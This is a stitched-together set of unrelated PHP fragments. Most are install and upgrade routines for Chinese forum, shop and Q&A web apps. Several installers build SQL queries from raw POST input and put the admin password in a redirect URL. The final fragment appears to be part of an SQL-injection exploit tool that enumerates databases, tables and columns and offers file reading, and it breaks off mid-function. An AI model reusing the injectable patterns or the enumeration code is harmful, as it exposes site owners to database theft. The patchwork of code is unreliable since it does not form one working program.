function on_upgrade($nowversion) { if ($nowversion == '0') { DB::query("DELETE FROM `setting` WHERE `k` LIKE 'zw_blockid%';"); return '1.2.0'; } if ($nowversion == '1.2.0') { return '1.2.4'; } if ($nowversion == '1.2.4') { runquery("UPDATE cron SET id='zw_blockid/cron/zw_blockid' WHERE id='zw_blockid';\n\t\t\tUPDATE cron SET id='zw_blockid/cron/zw_blockid_daily' WHERE id='zw_blockid_daily';\n\t\t\tUPDATE cron SET id='zw_blockid/cron/zw_blockid_mail' WHERE id='zw_blockid_mail';"); return '1.2.5'; } if ($nowversion == '1.2.5') { runquery("UPDATE cron SET id='zw_blockid/cron_blockid' WHERE id='zw_blockid' OR id='zw_blockid/cron/zw_blockid';\n\t\t\tUPDATE cron SET id='zw_blockid/cron_daily' WHERE id='zw_blockid_daily' OR id='zw_blockid/cron/zw_blockid_daily';\n\t\t\tUPDATE cron SET id='zw_blockid/cron_mail' WHERE id='zw_blockid_mail' OR id='zw_blockid/cron/zw_blockid_mail';"); return '1.2.6'; } if ($nowversion == '1.2.6') { runquery("UPDATE cron SET id='zw_blockid/blockid' WHERE id='zw_blockid/cron_blockid';\n\t\t\tUPDATE cron SET id='zw_blockid/daily' WHERE id='zw_blockid/cron_daily';\n\t\t\tUPDATE cron SET id='zw_blockid/mail' WHERE id='zw_blockid/cron_mail';"); return '1.2.8'; } if ($nowversion == '1.2.8') { runquery("CREATE TABLE IF NOT exists `zw_blockid_list_tmp` (\n `id` int(10) unsigned NOT NULL AUTO_INCREMENT,\n `uid` int(10) unsigned NOT NULL,\n `fid` int(10) unsigned NOT NULL,\n `blockid` varchar(20) NOT NULL,\n `tieba` varchar(200) NOT NULL,\n PRIMARY KEY (`id`),\n UNIQUE KEY `uid` (`uid`,`fid`,`blockid`,`tieba`)\n) ENGINE=InnoDB DEFAULT CHARSET=utf8;\nINSERT INTO `zw_blockid_list_tmp`(uid, fid, blockid, tieba) SELECT DISTINCT uid, fid, blockid, tieba FROM `zw_blockid_list`;\nDELETE FROM `zw_blockid_list`;\nINSERT INTO `zw_blockid_list`(uid, fid, blockid, tieba) SELECT DISTINCT uid, fid, blockid, tieba FROM `zw_blockid_list_tmp`;\nDROP TABLE `zw_blockid_list_tmp`;\nALTER TABLE `zw_blockid_list` ADD UNIQUE (`uid` ,`fid` ,`blockid` ,`tieba`);\n"); } }
function update_adv() { if (strtoupper(DBCHARSET) == 'GBK') { $sqlfile = 'gbk_add.sql'; } else { $sqlfile = 'utf8_add.sql'; } $sql = file_get_contents($sqlfile); $sql = str_replace("\r\n", "\n", $sql); runquery($sql); }
function run_file($sqlfile) { if (!$sqlfile) { return; } $sqlfile = M_ROOT . './updatedata/' . $sqlfile; $fp = fopen($sqlfile, 'rb'); $sql = fread($fp, filesize($sqlfile)); fclose($fp); runquery($sql); }
function update_db() { $sqlfile = 'utf8.sql'; global $tablepre, $db, $config; $sql = file_get_contents($sqlfile); $sql = str_replace("\r\n", "\n", $sql); runquery($sql); $db->query('update ' . $tablepre . 'goods set is_own_shop = 1 where store_id = ' . $config['default_store_id']); $db->query('update ' . $tablepre . 'goods_common set is_own_shop = 1 where store_id = ' . $config['default_store_id']); $db->query('update ' . $tablepre . 'store set is_own_shop = 1 where store_id = ' . $config['default_store_id']); $db->query('update ' . $tablepre . 'store set bind_all_gc = 1 where store_id = ' . $config['default_store_id']); }
function on_upgrade($nowversion) { switch ($nowversion) { case '1.1.0': runquery("ALTER TABLE `zw_custompage_setting` CHANGE `footer_switch` `footer_js_switch` TINYINT( 1 ) UNSIGNED NOT NULL DEFAULT '1';\nALTER TABLE `zw_custompage_setting` ADD `footer_text_switch` TINYINT( 1 ) NOT NULL AFTER `footer_js_switch`;\nALTER TABLE `zw_custompage_setting` CHANGE `page_footer` `page_footer_js` TEXT CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL;\nALTER TABLE `zw_custompage_setting` ADD `page_footer_text` TEXT NULL AFTER `page_footer_js`;"); return '1.1.1'; case '1.1.1': $setting = DB::fetch_first("SELECT * FROM `zw_custompage_setting` WHERE 1"); $this->saveSetting('setting', json_encode(array('page_switch' => $setting['page_switch'], 'footer_js_switch' => $setting['footer_js_switch'], 'footer_text_switch' => $setting['footer_text_switch'], 'bg_switch' => $setting['bg_switch'], 'page_footer_js' => $setting['page_footer_js'], 'page_footer_text' => $setting['page_footer_text'], 'bg_images' => $setting['bg_images']))); runquery("DROP TABLE `zw_custompage_setting`;\nDELETE FROM `setting` WHERE `k` LIKE 'zw_custompage%';\n"); return '1.2.0'; } }
public function install() { $query = DB::query('SHOW TABLES'); $tables = array(); while ($table = DB::fetch($query)) { $tables[] = implode('', $table); } if (!in_array('fsql_zan_bar', $tables)) { runquery("\n\t\t\tCREATE TABLE IF NOT EXISTS `fsql_zan_bar` (\n\t\t\t\t`sid` int(10) unsigned NOT NULL AUTO_INCREMENT PRIMARY KEY,\n\t\t\t\t`uid` int(10) unsigned NOT NULL,\n\t\t\t\t`name` varchar(127) NOT NULL,\n\t\t\t\t`unicode_name` varchar(512) NOT NULL\n\t\t\t) ENGINE=MyISAM DEFAULT CHARSET=utf8;\n\n\t\t\tCREATE TABLE IF NOT EXISTS `fsql_zan_log` (\n\t\t\t\t`sid` int(10) unsigned NOT NULL,\n\t\t\t\t`uid` int(10) unsigned NOT NULL,\n\t\t\t\t`date` int(11) NOT NULL DEFAULT '0',\n\t\t\t\t`count` int(11) NOT NULL DEFAULT '0',\n\t\t\t\tUNIQUE KEY `sid` (`sid`,`date`),\n\t\t\t\tKEY `uid` (`uid`)\n\t\t\t) ENGINE=MyISAM DEFAULT CHARSET=utf8;\n\n\t\t"); $this->saveSetting('limit', '0'); $this->saveSetting('sleep', '2'); $this->saveSetting('sp', '1'); } }
function on_upgrade($from_version) { switch ($from_version) { case '0': case '0.2.2_13': case '0.2.3': case '0.3.0': runquery("\n\t\t\t\t\tUPDATE cron SET id='xxx_post/c_daily' WHERE id='xxx_post_daily';\n\t\t\t\t\tUPDATE cron SET id='xxx_post/c_first' WHERE id='xxx_post';\n\t\t\t\t\tUPDATE cron SET id='xxx_post/c_se' WHERE id='xxx_post_se';\n\t\t\t\t\tUPDATE cron SET id='xxx_post/c_sxbk' WHERE id='xxx_post_sxbk';\n\t\t\t\t\t"); $this->saveSetting('sxbk', '0'); $this->saveSetting('se', '21'); $this->saveSetting('first_end', '15'); return '0.3.1'; default: throw new Exception("Unknown plugin version: {$from_version}"); } }
function step3(&$install_error, &$install_recover) { global $html_title, $html_header, $html_footer; if ($_POST['submitform'] != 'submit') { return; } $db_host = $_POST['db_host']; $db_port = $_POST['db_port']; $db_user = $_POST['db_user']; $db_pwd = $_POST['db_pwd']; $db_name = $_POST['db_name']; $db_prefix = $_POST['db_prefix']; $admin = $_POST['admin']; $password = $_POST['password']; if (!$db_host || !$db_port || !$db_user || !$db_pwd || !$db_name || !$db_prefix || !$admin || !$password) { $install_error = '输入不完整,请检查'; } if (strpos($db_prefix, '.') !== false) { $install_error .= '数据表前缀为空,或者格式错误,请检查'; } if (strlen($admin) > 15 || preg_match("/^\$|^c:\\con\\con\$| |[,\"\\s\t\\<\\>&]|^游客|^Guest/is", $admin)) { $install_error .= '非法用户名,用户名长度不应当超过 15 个英文字符,且不能包含特殊字符,一般是中文,字母或者数字'; } if ($install_error != '') { reutrn; } if (!@mysql_connect($db_host . ":" . $db_port, $db_user, $db_pwd)) { $install_error = '数据库连接失败'; return; } if (mysql_get_server_info() > '5.0') { mysql_query("CREATE DATABASE IF NOT EXISTS `{$db_name}` DEFAULT CHARACTER SET " . DBCHARSET); } else { $install_error = '数据库必须为MySQL5.0版本以上'; return; } if (mysql_errno()) { $install_error = mysql_error(); return; } if ($_POST['install_recover'] != 'yes' && ($query = mysql_query("SHOW TABLES FROM {$db_name}"))) { while ($row = mysql_fetch_row($query)) { if (preg_match("/^{$db_prefix}/", $row[0])) { $install_error = '数据表已存在,继续安装将会覆盖已有数据'; $install_recover = 'yes'; return; } } } require 'step_4.php'; $sitepath = strtolower(substr($_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SELF'], '/'))); $sitepath = str_replace('/install', "", $sitepath); $auto_site_url = strtolower('http://' . $_SERVER['HTTP_HOST'] . $sitepath); write_config($auto_site_url); //execute sql $db = new db(); $db->connect($db_host . ":" . $db_port, $db_user, $db_pwd, $db_name, DBCHARSET); if (strtoupper(DBCHARSET) == 'GBK') { $_charset = 'gbk'; } else { $_charset = 'utf8'; } $sql = file_get_contents("data/{$_charset}.sql"); $sql .= "\r\n" . file_get_contents("data/{$_charset}_cms.sql"); $sql .= "\r\n" . file_get_contents("data/{$_charset}_circle.sql"); $sql .= "\r\n" . file_get_contents("data/{$_charset}_microshop.sql"); if ($_POST['demo_data'] == '1') { $sql .= file_get_contents("data/{$_charset}_add.sql"); } $sql = str_replace("\r\n", "\n", $sql); runquery($sql, $db_prefix, $db); showjsmessage('初始化数据 ... 成功 '); /** * 转码 */ if (strtoupper(DBCHARSET) == 'GBK') { $sitename = iconv('UTF-8', 'GBK', $_POST['site_name']); $username = iconv('UTF-8', 'GBK', $_POST['admin']); $password = iconv('UTF-8', 'GBK', $_POST['password']); $store_name = iconv('UTF-8', 'GBK', $_POST['store_name']); $member_name = iconv('UTF-8', 'GBK', $_POST['member_name']); $seller_name = iconv('UTF-8', 'GBK', $_POST['seller_name']); $member_password = iconv('UTF-8', 'GBK', $_POST['member_password']); } else { $sitename = $_POST['site_name']; $username = $_POST['admin']; $password = $_POST['password']; $store_name = $_POST['store_name']; $member_name = $_POST['member_name']; $seller_name = $_POST['seller_name']; $member_password = $_POST['member_password']; } /** * 产生随机的md5_key,来替换系统默认的md5_key值 */ $md5_key = md5(random(4) . substr(md5($_SERVER['SERVER_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . $db_host . $db_user . $db_pwd . $db_name . substr(time(), 0, 6)), 8, 6) . random(10)); $db->query("UPDATE {$db_prefix}setting SET value='" . $sitename . "' WHERE name='site_name'"); $db->query("UPDATE {$db_prefix}setting SET value='" . $md5_key . "' WHERE name='md5_key'"); //管理员帐号密码 $db->query("INSERT INTO {$db_prefix}admin (`admin_id`,`admin_name`,`admin_password`,`admin_login_time`,`admin_login_num`,`admin_is_super`) VALUES ('1','{$username}','" . md5($password) . "', '" . time() . "' ,'0',1);"); // 创建店铺 $db->query("INSERT INTO {$db_prefix}member (`member_id`,`member_name`,`member_passwd`,`member_email`,`member_time`,`member_login_time`,`member_old_login_time`) VALUES ('1', '{$member_name}','" . md5($member_password) . "', '', '" . time() . "', '" . time() . "', '" . time() . "')"); $db->query("INSERT INTO {$db_prefix}member_common (`member_id`) VALUES ('1')"); $db->query("INSERT INTO {$db_prefix}store (`store_id`,`store_name`,`grade_id`,`member_id`,`member_name`,`seller_name`,`store_state`,`store_time`) VALUES ('1','{$store_name}','1','1','{$member_name}','{$seller_name}','1', '" . time() . "')"); $db->query("INSERT INTO {$db_prefix}store_joinin (`member_id`,`member_name`,`seller_name`,`store_name`,`joinin_state`) VALUES ('1', '{$member_name}', '{$seller_name}', '{$store_name}', '40')"); $db->query("INSERT INTO {$db_prefix}seller (`seller_id`,`seller_name`,`member_id`,`seller_group_id`,`store_id`,`is_admin`) VALUES ('1', '{$seller_name}', '1', '0', '1', '1')"); $db->query("INSERT INTO {$db_prefix}store_bind_class (`bid`, `store_id`, `commis_rate`, `class_1`, `class_2`, `class_3`, `state`) VALUES ('1', '1', '0', '0', '0', '0', '1')"); $db->query("UPDATE `{$db_prefix}navigation` SET nav_url=CONCAT('{$auto_site_url}/',nav_url)"); $db->query("UPDATE `{$db_prefix}cms_navigation` SET navigation_link=CONCAT('{$auto_site_url}/',navigation_link)"); if ($_POST['demo_data'] == '1') { $db->query("UPDATE {$db_prefix}store SET `live_store_name`='俏江南',`live_store_address`='天津市南开区南门外大街2号大悦城购物中心北区4L-27',`live_store_tel`='400-800800',`live_store_bus`='829路、832路、837路、855路、841路、860路 地铁2号线' WHERE `store_id`=1"); $db->query("UPDATE `{$db_prefix}goods` SET `store_name` = '{$store_name}'"); $db->query("UPDATE `{$db_prefix}goods_common` SET `store_name` = '{$store_name}'"); $db->query("UPDATE `{$db_prefix}groupbuy` SET `store_name` = '{$store_name}'"); $db->query("UPDATE `{$db_prefix}groupbuy_quota` SET `member_name` = '{$member_name}' ,`store_name` = '{$store_name}';"); $db->query("UPDATE `{$db_prefix}p_xianshi` SET `member_name` = '{$member_name}' ,`store_name` = '{$store_name}';"); $db->query("UPDATE `{$db_prefix}p_xianshi_quota` SET `member_name` = '{$member_name}' ,`store_name` = '{$store_name}';"); } //新增一个标识文件,用来屏蔽重新安装 $fp = @fopen('lock', 'wb+'); @fclose($fp); exit("<script type=\"text/javascript\">document.getElementById('install_process').innerHTML = '安装完成,下一步...';document.getElementById('install_process').href='index.php?step=5&sitename={$sitename}&username={$username}&password={$password}';</script>"); exit; }
show_msg(lang('update', 'reports_completed'), "{$theurl}?step=data&op={$nextop}"); } elseif ($_GET['op'] == 'myappcount') { $nextop = 'nav'; $count = DB::result(DB::query("SELECT COUNT(*) FROM " . DB::table('common_myapp_count')), 0); if (!$count) { DB::query('INSERT INTO ' . DB::table('common_myapp_count') . ' (appid) SELECT appid FROM ' . DB::table('common_myapp')); } show_msg(lang('update', 'apps_completed'), "{$theurl}?step=data&op={$nextop}"); } elseif ($_GET['op'] == 'nav') { $nextop = 'forumstatus'; $count = DB::result(DB::query("SELECT COUNT(*) FROM " . DB::table('common_nav') . " WHERE navtype='0' AND type='0' AND identifier=''"), 0); if ($count) { DB::delete('common_nav', "navtype='0' AND type='0' AND identifier=''"); $sql = implode('', file(DISCUZ_ROOT . './install/data/install_data.sql')); preg_match("/\\[update\\_nav\\](.+?)\\[\\/update\\_nav\\]/is", $sql, $a); runquery($a[1]); } show_msg(lang('update', 'navigation_completed'), "{$theurl}?step=data&op={$nextop}"); } elseif ($_GET['op'] == 'forumstatus') { $nextop = 'poststick'; $query = DB::query("SELECT fid FROM " . DB::table('forum_forum') . " WHERE status='2'"); if (DB::num_rows($query)) { while ($row = DB::fetch($query)) { $fids[] = $row['fid']; } DB::update('forum_forumfield', array('hidemenu' => 1), "fid IN (" . dimplode($fids) . ")"); DB::update('forum_forum', array('status' => 1), "status='2'"); } show_msg(lang('update', 'group_status_completed'), "{$theurl}?step=data&op={$nextop}"); } elseif ($_GET['op'] == 'poststick') { $nextop = 'usergroup_allowvisit';
REPLACE INTO ask_usergroup VALUES (25, '大学士', 2, 700000, 1000000,24,20,18, 'index/tagquestion,question/answercomment,user/exchange,expert/default,index/taglist,user/famouslist,user/favorite,question/addfavorite,user/space_ask,user/space_answer,user/saveimg,user/editimg,category/recommend,user/register,index/default,category/view,category/list,question/view,note/list,note/view,rss/category,rss/list,rss/question,user/space,user/scorelist,question/search,question/add,question/tagask,gift/default,gift/search,gift/add,user/register,user/default,user/score,user/ask,user/answer,user/profile,user/uppass,attach/upload,question/answer,question/adopt,question/govote,question/close,question/supply,question/add,question/addscore,question/editanswer,question/search,message/send,message/new,message/personal,message/system,message/outbox,message/view,message/remove'); REPLACE INTO ask_usergroup VALUES (26, '文曲星', 2, 1000000, 999999999,0,0,0, 'index/tagquestion,question/answercomment,user/exchange,expert/default,index/taglist,user/famouslist,user/favorite,question/addfavorite,user/space_ask,user/space_answer,user/saveimg,user/editimg,category/recommend,user/register,index/default,category/view,category/list,question/view,note/list,note/view,rss/category,rss/list,rss/question,user/space,user/scorelist,question/search,question/add,question/tagask,gift/default,gift/search,gift/add,user/register,user/default,user/score,user/ask,user/answer,user/profile,user/uppass,attach/upload,question/answer,question/adopt,question/govote,question/close,question/supply,question/add,question/addscore,question/editanswer,question/search,message/send,message/new,message/personal,message/system,message/outbox,message/view,message/remove'); EOT; if (!$action) { echo '<meta http-equiv=Content-Type content="text/html;charset=' . TIPASK_CHARSET . '">'; echo "本程序仅用于升级 Tipask V1.4正式版 到 Tipask2.0beta正式版,请确认之前已经顺利安装Tipask V1.4正式版!<br><br><br>"; echo "<b><font color=\"red\">运行本升级程序之前,请确认已经上传 Tipask2.0beta正式版的全部文件和目录</font></b><br><br>"; echo "<b><font color=\"red\">本程序只能从 Tipask V1.4正式版 到 Tipask2.0beta正式版,切勿使用本程序从其他版本升级,否则可能会破坏掉数据库资料.<br><br>强烈建议您升级之前备份数据库资料!</font></b><br><br>"; echo "正确的升级方法为:<br>1. 上传 Tipask2.0beta 正式版的全部文件和目录,覆盖服务器上的 Tipask V1.4正式版版;<br>2. 上传本程序(1.4To2.0beta.php)到 Tipask目录中;<br>3. 运行本程序,直到出现升级完成的提示;<br>4. 登录Tipask后台,更新缓存,升级完成。<br><br>"; echo "<a href=\"{$PHP_SELF}?action=upgrade\">如果您已确认完成上面的步骤,请点这里升级</a>"; } else { $db = new db(DB_HOST, DB_USER, DB_PW, DB_NAME, DB_CHARSET, DB_CONNECT); runquery($upgrade); $config = "<?php \r\ndefine('DB_HOST', '" . DB_HOST . "');\r\n"; $config .= "define('DB_USER', '" . DB_USER . "');\r\n"; $config .= "define('DB_PW', '" . DB_PW . "');\r\n"; $config .= "define('DB_NAME', '" . DB_NAME . "');\r\n"; $config .= "define('DB_CHARSET', '" . DB_CHARSET . "');\r\n"; $config .= "define('DB_TABLEPRE', '" . DB_TABLEPRE . "');\r\n"; $config .= "define('DB_CONNECT', 0);\r\n"; $config .= "define('TIPASK_CHARSET', '" . TIPASK_CHARSET . "');\r\n"; $config .= "define('TIPASK_VERSION', '2.0Beta');\r\n"; $config .= "define('TIPASK_RELEASE', '20120322');\r\n"; $fp = fopen(TIPASK_ROOT . '/config.php', 'w'); fwrite($fp, $config); fclose($fp); cleardir(TIPASK_ROOT . '/data/cache'); cleardir(TIPASK_ROOT . '/data/view');
} elseif ($current_version == '1.13.11.5') { DB::query(' CREATE TABLE IF NOT EXISTS `plugin` ( id int(11) NOT NULL AUTO_INCREMENT, `name` varchar(64) NOT NULL, module text NOT NULL, PRIMARY KEY (id), UNIQUE KEY `name` (`name`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 '); DB::insert('plugin', array('name' => 'debug_info')); DB::insert('plugin', array('name' => 'update_log')); saveSetting('version', '1.13.11.9'); showmessage('成功更新到 1.13.11.9!', './'); } elseif ($current_version == '1.13.11.9') { runquery("\nALTER TABLE `plugin` ADD `enable` TINYINT(1) NOT NULL DEFAULT '1' AFTER `id`;\nALTER TABLE `plugin` ADD `version` VARCHAR(8) NOT NULL DEFAULT '0';\nALTER TABLE `member_setting` ADD `cookie` TEXT BINARY CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;\n"); $query = DB::query('SELECT uid, cookie FROM member'); while ($result = DB::fetch($query)) { save_cookie($result['uid'], $result['cookie']); } DB::query('ALTER TABLE `member` DROP `cookie`'); $query = DB::query('SHOW columns FROM `plugin`'); while ($result = DB::fetch($query)) { if ($result['Field'] == 'module') { DB::query('ALTER TABLE `plugin` DROP `module`'); } } CACHE::clear(); CACHE::update('plugins'); saveSetting('register_limit', 1); saveSetting('register_check', 1);
DELETE FROM {$db_prefix}settings WHERE title = 'trackback_num' LIMIT 1; DELETE FROM {$db_prefix}settings WHERE title = 'trackback_order' LIMIT 1; DELETE FROM {$db_prefix}settings WHERE title = 'artlink_ext' LIMIT 1; DELETE FROM {$db_prefix}settings WHERE title = 'smarturl' LIMIT 1; DELETE FROM {$db_prefix}settings WHERE title = 'js_cache_life' LIMIT 1; DELETE FROM {$db_prefix}settings WHERE title = 'js_enable' LIMIT 1; DELETE FROM {$db_prefix}settings WHERE title = 'js_lock_url' LIMIT 1; DELETE FROM {$db_prefix}settings WHERE title = 'rewrite_enable' LIMIT 1; DELETE FROM {$db_prefix}settings WHERE title = 'rewrite_ext' LIMIT 1; DELETE FROM {$db_prefix}settings WHERE title = 'wap_article_pagenum' LIMIT 1; DELETE FROM {$db_prefix}settings WHERE title = 'wap_article_title_limit' LIMIT 1; DELETE FROM {$db_prefix}settings WHERE title = 'wap_comment_pagenum' LIMIT 1; DELETE FROM {$db_prefix}settings WHERE title = 'wap_tags_pagenum' LIMIT 1; DELETE FROM {$db_prefix}settings WHERE title = 'wap_trackback_pagenum' LIMIT 1; EOT; runquery($add); echo '<p class="p2">成功重建数据结构和数据</p><p class="p2"><a href="' . $php_self . '?action=four">程序将自动跳转.如果没有自动跳转,请点击这里.</a></p>'; echo '<meta HTTP-EQUIV="REFRESH" content="2;URL=' . $php_self . '?action=four">'; echo '</div></body></html>'; exit; } elseif ($action == 'four') { $query = $DB->query("SELECT * FROM {$db_prefix}trackbacks LIMIT {$start}, {$percount}"); while ($trackback = $DB->fetch_array($query)) { $goon = 1; $DB->query("INSERT INTO {$db_prefix}comments (articleid, author, url, dateline, content, ipaddress, type, visible) VALUES ('" . $trackback['articleid'] . "', '" . addslashes($trackback['blog_name']) . "', '" . addslashes($trackback['url']) . "', '" . $trackback['dateline'] . "', '" . addslashes($trackback['title']) . "\n" . addslashes($trackback['excerpt']) . "', '" . addslashes($trackback['ipaddress']) . "', 'trackback', '" . $trackback['visible'] . "')"); } if ($goon) { echo '<p class="p2">正在更新 ' . $start . ' 到 ' . $next . ' 项</p><p class="p2"><a href="' . $jumpurl . '">程序将自动跳转.如果没有自动跳转,请点击这里.</a></p>'; echo '<meta HTTP-EQUIV="REFRESH" content="2;URL=' . $jumpurl . '">'; } else { echo '<p class="p2">成功重建所有文章内的数据</p><p class="p2"><a href="' . $php_self . '?action=five">程序将自动跳转.如果没有自动跳转,请点击这里.</a></p>';
if (preg_match('/[<>\'\\"]/i', $username)) { show_back('注册账号', '用户名中有被禁止使用的关键字'); } if (strlen($username) < 6) { show_back('注册账号', '用户名至少要6个字符(即2个中文 或 6个英文),请修改'); } if (strlen($username) > 24) { show_back('注册账号', '用户名过长,请修改'); } $install_script = file_get_contents(dirname(__FILE__) . '/install.sql'); preg_match('/version ([0-9a-z.]+)/i', $install_script, $match); $version = trim($match[1]); if (!$version) { show_back('正在安装', '安装脚本有误,请重新上传'); } $err = runquery($install_script, $link); if ($err) { show_back('正在安装', '安装过程出现错误:</p><p>' . $err); } mysql_query("INSERT INTO member SET username='******', password='******', email='{$email}'"); $uid = mysql_insert_id($link); mysql_query("INSERT INTO member_setting SET uid='{$uid}', cookie=''"); saveSetting('block_register', 1); saveSetting('jquery_mode', 2); saveSetting('admin_uid', $uid); saveSetting('SYS_KEY', $syskey); $_config = array('version' => $version, 'db' => array('server' => $db_host, 'port' => $db_port, 'username' => $db_username, 'password' => $db_password, 'name' => $db_name, 'pconnect' => $db_pconnect)); $content = '<?php' . PHP_EOL . '/* Auto-generated config file */' . PHP_EOL . '$_config = '; $content .= var_export($_config, true) . ';' . PHP_EOL . '?>'; file_put_contents($config_file, $content); $content = '<p>贴吧签到助手 已经成功安装!</p><p>要正常签到,请为脚本 cron.php 添加每分钟一次的计划任务。</p><p>系统默认关闭用户注册,如果有需要,请到后台启用用户注册功能。</p><br><p class="btns"><button onclick="location.href=\'../\';">登录 »</button>';
$configfile = @file_get_contents(ROOT_PATH . './config.php'); $configfile = trim($configfile); $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile; $configfile = preg_replace("/[\$]_SC\\[[\"']founder[\"']\\]\\s*\\=\\s*[\"'].*?[\"'];/is", "\$_SC['founder'] = '{$uid}';", $configfile); @file_put_contents(ROOT_PATH . './config.php', $configfile); } @dir_clear(ROOT_PATH . './data/cache/tpl'); @dir_clear(ROOT_PATH . './data/cache/block'); @dir_clear(ROOT_PATH . './data/cache/model'); @dir_clear(ROOT_PATH . './uc_client/data'); @dir_clear(ROOT_PATH . './uc_client/data/cache'); touch($lockfile); VIEW_OFF && show_msg('initdbresult_succ'); //設置SITEKEY等 $sitekey = substr(_generate_key(), 4, 16); runquery("REPLACE INTO " . ORIG_TABLEPRE . "settings (`variable` ,`value`) VALUES ('sitekey', '{$sitekey}')"); if (!VIEW_OFF) { echo '<script type="text/javascript">document.getElementById("laststep").disabled=false;document.getElementById("laststep").value = \'' . lang('install_founder_contact') . '\';</script><script type="text/javascript">setTimeout(function(){window.location=\'index.php?method=ext_info\'}, 2000);</script><iframe src="../" style="display:none"></iframe>' . "\r\n"; show_footer(); } } if (VIEW_OFF) { show_msg('missing_parameter', '', 0); } else { show_form($form_db_init_items, $error_msg); } } elseif ($method == 'ext_info') { @(include CONFIG); $db = new dbstuff(); $db->connect($dbhost, $dbuser, $dbpw, $dbname, DBCHARSET); $skip = getgpc('skip');
function step3(&$install_error, &$install_recover) { global $html_title, $html_header, $html_footer; if ($_POST['submitform'] != 'submit') { return; } $db_host = $_POST['db_host']; $db_port = $_POST['db_port']; $db_user = $_POST['db_user']; $db_pwd = $_POST['db_pwd']; $db_name = $_POST['db_name']; $db_prefix = $_POST['db_prefix']; $admin = $_POST['admin']; $password = $_POST['password']; if (!$db_host || !$db_port || !$db_user || !$db_pwd || !$db_name || !$db_prefix || !$admin || !$password) { $install_error = '输入不完整,请检查'; } if (strpos($db_prefix, '.') !== false) { $install_error .= '数据表前缀为空,或者格式错误,请检查'; } if (strlen($admin) > 15 || preg_match("/^\$|^c:\\con\\con\$| |[,\"\\s\t\\<\\>&]|^游客|^Guest/is", $admin)) { $install_error .= '非法用户名,用户名长度不应当超过 15 个英文字符,且不能包含特殊字符,一般是中文,字母或者数字'; } if ($install_error != '') { reutrn; } if (!@mysql_connect($db_host . ":" . $db_port, $db_user, $db_pwd)) { $install_error = '数据库连接失败'; return; } if (mysql_get_server_info() > '5.0') { mysql_query("CREATE DATABASE IF NOT EXISTS `{$db_name}` DEFAULT CHARACTER SET " . DBCHARSET); } else { $install_error = '数据库必须为MySQL5.0版本以上'; return; } if (mysql_errno()) { $install_error = mysql_error(); return; } if ($_POST['install_recover'] != 'yes' && ($query = mysql_query("SHOW TABLES FROM {$db_name}"))) { while ($row = mysql_fetch_row($query)) { if (preg_match("/^{$db_prefix}/", $row[0])) { $install_error = '数据表已存在,继续安装将会覆盖已有数据'; $install_recover = 'yes'; return; } } } require 'step_4.php'; $sitepath = strtolower(substr($_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SELF'], '/'))); $sitepath = str_replace('/shop/install', "", $sitepath); $auto_site_url = strtolower('http://' . $_SERVER['HTTP_HOST'] . $sitepath); write_config($auto_site_url); //execute sql $db = new db(); $db->connect($db_host . ":" . $db_port, $db_user, $db_pwd, $db_name, DBCHARSET); if (strtoupper(DBCHARSET) == 'GBK') { $_charset = 'gbk'; } else { $_charset = 'utf8'; } $sql = file_get_contents("data/{$_charset}.sql"); $sql = str_replace("\r\n", "\n", $sql); runquery($sql, $db_prefix, $db); showjsmessage('初始化数据 ... 成功 '); /** * 转码 */ if (strtoupper(DBCHARSET) == 'GBK') { $sitename = iconv('UTF-8', 'GBK', $_POST['site_name']); $username = iconv('UTF-8', 'GBK', $_POST['admin']); $password = iconv('UTF-8', 'GBK', $_POST['password']); $store_name = iconv('UTF-8', 'GBK', $_POST['store_name']); $member_name = iconv('UTF-8', 'GBK', $_POST['member_name']); $seller_name = iconv('UTF-8', 'GBK', $_POST['seller_name']); $member_password = iconv('UTF-8', 'GBK', $_POST['member_password']); } else { $sitename = $_POST['site_name']; $username = $_POST['admin']; $password = $_POST['password']; $store_name = $_POST['store_name']; $member_name = $_POST['member_name']; $seller_name = $_POST['seller_name']; $member_password = $_POST['member_password']; } /** * 产生随机的md5_key,来替换系统默认的md5_key值 */ $md5_key = md5(random(4) . substr(md5($_SERVER['SERVER_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . $db_host . $db_user . $db_pwd . $db_name . substr(time(), 0, 6)), 8, 6) . random(10)); $db->query("UPDATE {$db_prefix}setting SET value='" . $sitename . "' WHERE name='site_name'"); $db->query("UPDATE {$db_prefix}setting SET value='" . $md5_key . "' WHERE name='md5_key'"); //管理员帐号密码 $db->query("INSERT INTO {$db_prefix}admin (`admin_id`,`admin_name`,`admin_password`,`admin_login_time`,`admin_login_num`,`admin_is_super`) VALUES ('1','{$username}','" . md5($password) . "', '" . time() . "' ,'0',1);"); //新增一个标识文件,用来屏蔽重新安装 $fp = @fopen('lock', 'wb+'); @fclose($fp); exit("<script type=\"text/javascript\">document.getElementById('install_process').innerHTML = '安装完成,下一步...';document.getElementById('install_process').href='index.php?step=5&sitename={$sitename}&username={$username}&password={$password}';</script>"); exit; }
function main($msg = null) { global $token, $token_hex; echo "\n" . $msg . "\n"; puts("[>] MAIN MENU"); puts("[1] Browse MySQL"); puts("[2] Run SQL Query"); puts("[3] Read file"); puts("[4] About"); puts("[0] Exit"); $resp = gets(); if ($resp == "0") { exit; } elseif ($resp == "1") { // pega dbs $i = 0; puts("[.] Getting databases:"); while (true) { $pega = runquery("SELECT schema_name FROM information_schema.schemata LIMIT {$i},1"); if ($pega) { puts(" - " . $pega); } else { break; } $i++; } puts("[!] Current database: " . runquery("SELECT database()")); puts("[?] Enter database name for select:"); $own = array(); $own['db'] = gets(); $own['dbh'] = hex($own['db']); // pega tables da db $i = 0; puts("[.] Getting tables from {$own['db']}:"); while (true) { $pega = runquery("SELECT table_name FROM information_schema.tables WHERE table_schema={$own['dbh']} LIMIT {$i},1"); if ($pega) { puts(" - " . $pega); } else { break; } $i++; } puts("[?] Enter table name for select:"); $own['tb'] = gets(); $own['tbh'] = hex($own['tb']); // pega colunas da table $i = 0; puts("[.] Getting columns from {$own['db']}.{$own['tb']}:"); while (true) { $pega = runquery("SELECT column_name FROM information_schema.columns WHERE table_schema={$own['dbh']} AND table_name={$own['tbh']} LIMIT {$i},1"); if ($pega) { puts(" - " . $pega); } else { break; } $i++; } puts("[?] Enter columns name, separated by commas (\",\") for select:"); 